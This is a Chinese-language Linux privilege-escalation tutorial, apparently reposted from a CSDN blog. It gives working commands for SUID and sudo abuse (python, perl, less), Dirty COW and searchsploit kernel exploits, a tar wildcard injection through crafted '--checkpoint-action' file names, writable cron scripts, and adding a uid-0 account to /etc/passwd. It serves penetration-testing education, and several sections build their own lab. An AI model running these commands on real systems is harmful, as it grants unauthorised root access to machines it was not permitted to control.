一、SUID提權
SUID(設定使用者ID)是賦予檔案的一種許可權,它會出現在檔案擁有者許可權的執行位上,具有這種許可權的檔案會在其執行時,使呼叫者暫時獲得該檔案擁有者的許可權。為可執行檔案新增suid許可權的目的是簡化操作流程,讓普通使用者也能做一些高許可權才能做的的工作。但是如果某些現有的二進位制檔案和實用程式具有SUID許可權的話,就可以在執行時將許可權提升為root。
原理:
SUID提權的原理與Linux程序的UID有關,程序在執行的時候有以下三個UID:
1.Real UID:執行該程序的使用者的UID。Real UID只用於標識使用者,不用於許可權檢查。
2.Effective UID(EUID):程序執行時生效的UID。在對訪問目標進行操作時,系統會檢查EUID是否有許可權。一般情況下,Real UID與EUID相同,但在執行設定了SUID許可權的程式時,程序的EUID會被設定為程式檔案屬主的UID。
3.Saved UID:在高許可權使用者降權後,保留的UID。
如果某個設定了SUID許可權的程式執行後建立了shell,那麼shell程序的EUID也會是這個程式檔案屬主的UID,如果屬主為root,便是一個root shell。root shell中執行的程式的EUID也都是0,具備超級許可權,於是便實現了提權。
命令:find / -perm -4000 -type f 2>/dev/null find / -perm -u=s
-perm -4000:查詢許可權為“4000”的檔案,其中“4000”是表示suid許可權的數字。
-type f:查詢型別為檔案的結果,而不是目錄或其他型別的檔案。
find / -perm -4000 -type f -exec ls -l {} \;:這個命令與第一個命令類似,但使用了-exec選項,它將在查詢到具有suid許可權的檔案後,執行一個ls -l命令,以檢視這些檔案的詳細資訊。在-exec選項中,{}表示查詢到的每個檔案的名稱,\;表示命令結束的標記。
二、sudo提權
普通使用者一般無法使用root使用者命令,使用sudo命令可以讓普通使用者擁有root許可權,但是一般都需要輸入使用者的密碼。管理員為了運營方便可能會對sudoer檔案進行不合理的配置,使普通使用者不需要輸入密碼就可以使用sudo命令,從而導致許可權提升的問題產生。
1.python語言提權
1.1 環境搭建
建立一個普通使用者user1
useradd user1
vim /etc/sudoers,新增以下語句,使得用sudo執行python命令時不需要密碼
user1 ALL=(root) NOPASSWD:usr/bin/python
1.2 提權
提權命令如下:
sudo python -c 'import pty;pty.spawn("/bin/bash")'
2.利用perl語言提權
2.1環境搭建
同上
user1 ALL=(root) NOPASSWD:ALL
2.2 提權
sudo perl -e 'exec "/bin/bash";'
3.利用less命令提權
透過命令 “sudo less 檔案” 提權
sudo less /etc/hosts
在彈出的頁面輸入!bash,按下Enter鍵,輸入whoami查詢,提權成功
三、核心漏洞提權
利用核心漏洞提取一般三個環節:
首先對目標系統進行資訊收集,獲取系統核心資訊及版本資訊
第二步,根據核心版本獲取對應的漏洞以及exp
第三步,使用exp對目標進行攻擊,完成提權
髒牛核心漏洞提權的原理:
在Linux核心的記憶體子系統處理私有隻讀記憶體對映的寫時複製損壞的方式中發現了一種競爭狀況,一個沒有特權的本地使用者可以利用此漏洞獲取對只讀儲存器對映的寫訪問權,從而增加他在系統上的特權
Linux核心的記憶體子系統在處理寫時複製(Copy-on-Write)時存在條件競爭漏洞,導致可以破壞私有隻讀記憶體對映。一個低許可權的本地使用者能夠利用此漏洞獲取其他只讀記憶體對映的寫許可權,所以有可能進一步導致提權漏洞。
1.常規核心提權
檢視linux核心版本:uname -a
使用searchsploit搜尋對應exp,並下載c檔案進行編譯:
searchsploit ubuntu 4.4.0
searchsploit -m linux/local/45010.cgcc 45010.c -o 45010 #編譯
2.髒牛提權
Linux核心的記憶體子系統在處理寫時複製(Copy-on-Write)時存在條件競爭漏洞,導致可以破壞私有隻讀記憶體對映。一個低許可權的本地使用者能夠利用此漏洞獲取其他只讀記憶體對映的寫許可權,有可能進一步導致提權漏洞
影響版本:Linux kernel >= 2.6.22(2007年發行,到2016年10月18日才修復)
uname -a #檢視核心版本
cd CVE-2016-5195-master/make #編譯生成可執行檔案
./dcow -s #執行exp,成功返回root shell
四、Cronjobs提權
- 萬用字元提權
1.1 環境搭建
vim /etc/crontab,為root使用者新增一個計劃任務
root /usr/local/bin/test2.sh
並進入/usr/local/bin目錄下,vim test2.sh ,新增以下命令
cd /home/ubuntu;tar czf /tmp/backup.tar.gz *
賦予test2.sh執行許可權,檢視計劃任務是否設定成功
1.2 提權
檢視定時任務,發現一個以root許可權執行的任務test2.sh,檢視test2.sh,發現任務的工作為每分鐘執行將/home/ubuntu下的所有內容打包為backup.tar.gz並放置在/tmp目錄下(萬用字元*代表目錄下的所有檔案)。
cat /etc/crontab #檢視定時任務
在/home/ubuntu目錄下建立三個檔案:
echo "cp /bin/bash /tmp/bash;chmod +s /tmp/bash" > test.sh
echo "" > --checkpoint=1
echo "" > "--checkpoint-action=exec=sh test.sh"
當定時任務觸發後,使用了萬用字元*對整個資料夾進行打包,系統真正執行打包時,將目錄下的檔案一個一個傳參給萬用字元執行打包操作,而在打包–checkpoint=1和–checkpoint-action=exec=sh test.sh時相當於執行如下命令:
tar czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh test.sh
而–checkpoint和–checkpoint-action正好時tar的引數,此處會被當作引數執行而非檔名打包。–checkpoint-action=exec=sh test.sh為執行test.sh檔案,test.sh檔案內容為複製bash到tmp目錄並賦予suid,即可達到提權的目的:
2.檔案重寫提權
由於管理員對定時檔案許可權錯誤分配而導致普通使用者具有寫許可權,從而達到提權。
普通使用者檢視定時任務,發現datetest.sh為777許可權而且為root使用者:
普通使用者可在datetest.sh中寫入命令,將bash複製到tmp並賦予suid:
"cp /bin/bash /tmp/bash;chmod +s /tmp/bash" >> /usr/local/bin/datetest.sh
執行獲取root許可權:
五、環境變數提權
PATH是Linux和類Unix作業系統中的環境變數,它指定可執行程式的所有bin和sbin儲存目錄。當使用者在終端上執行任何命令時,它會向shell傳送請求以在PATH變數中搜尋可執行檔案來響應使用者執行的命令。
echo $PATH #檢視環境變數
六、/etc/passwd 提權
1.環境搭建
給/etc/passwd檔案賦予讀寫許可權
2.提權
使用perl語言生成密碼鹽值
perl -le 'print crypt("password@123", "addedsalt")'
將使用者名稱和密碼寫入/etc/passwd檔案中
echo "test:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >>/etc/passwd
登入test使用者,輸入密碼password@123,成功提權
其他生成密碼鹽值的方法:
#利用openssl生成加密的密碼, 語法:openssl passwd-1-salt[salt value]password
openssl passwd -1 -salt user3 pass123
#mkpasswd類似於openssl passwd,它將生成指定密碼字串的雜湊值。
mkpasswd -m SHA-512 pass
#利用python中的crypt庫生成
python -c 'import crypt; print crypt.crypt("pass", "$6$salt")'
#利用Perl和crypt來使用salt值為我們的密碼生成雜湊值
perl -le 'print crypt("pass123", "abc")'
#php語言
php -r "print(crypt('aarti','123') . " ");"
轉自:https://blog.csdn.net/qq_59102311/article/details/138559914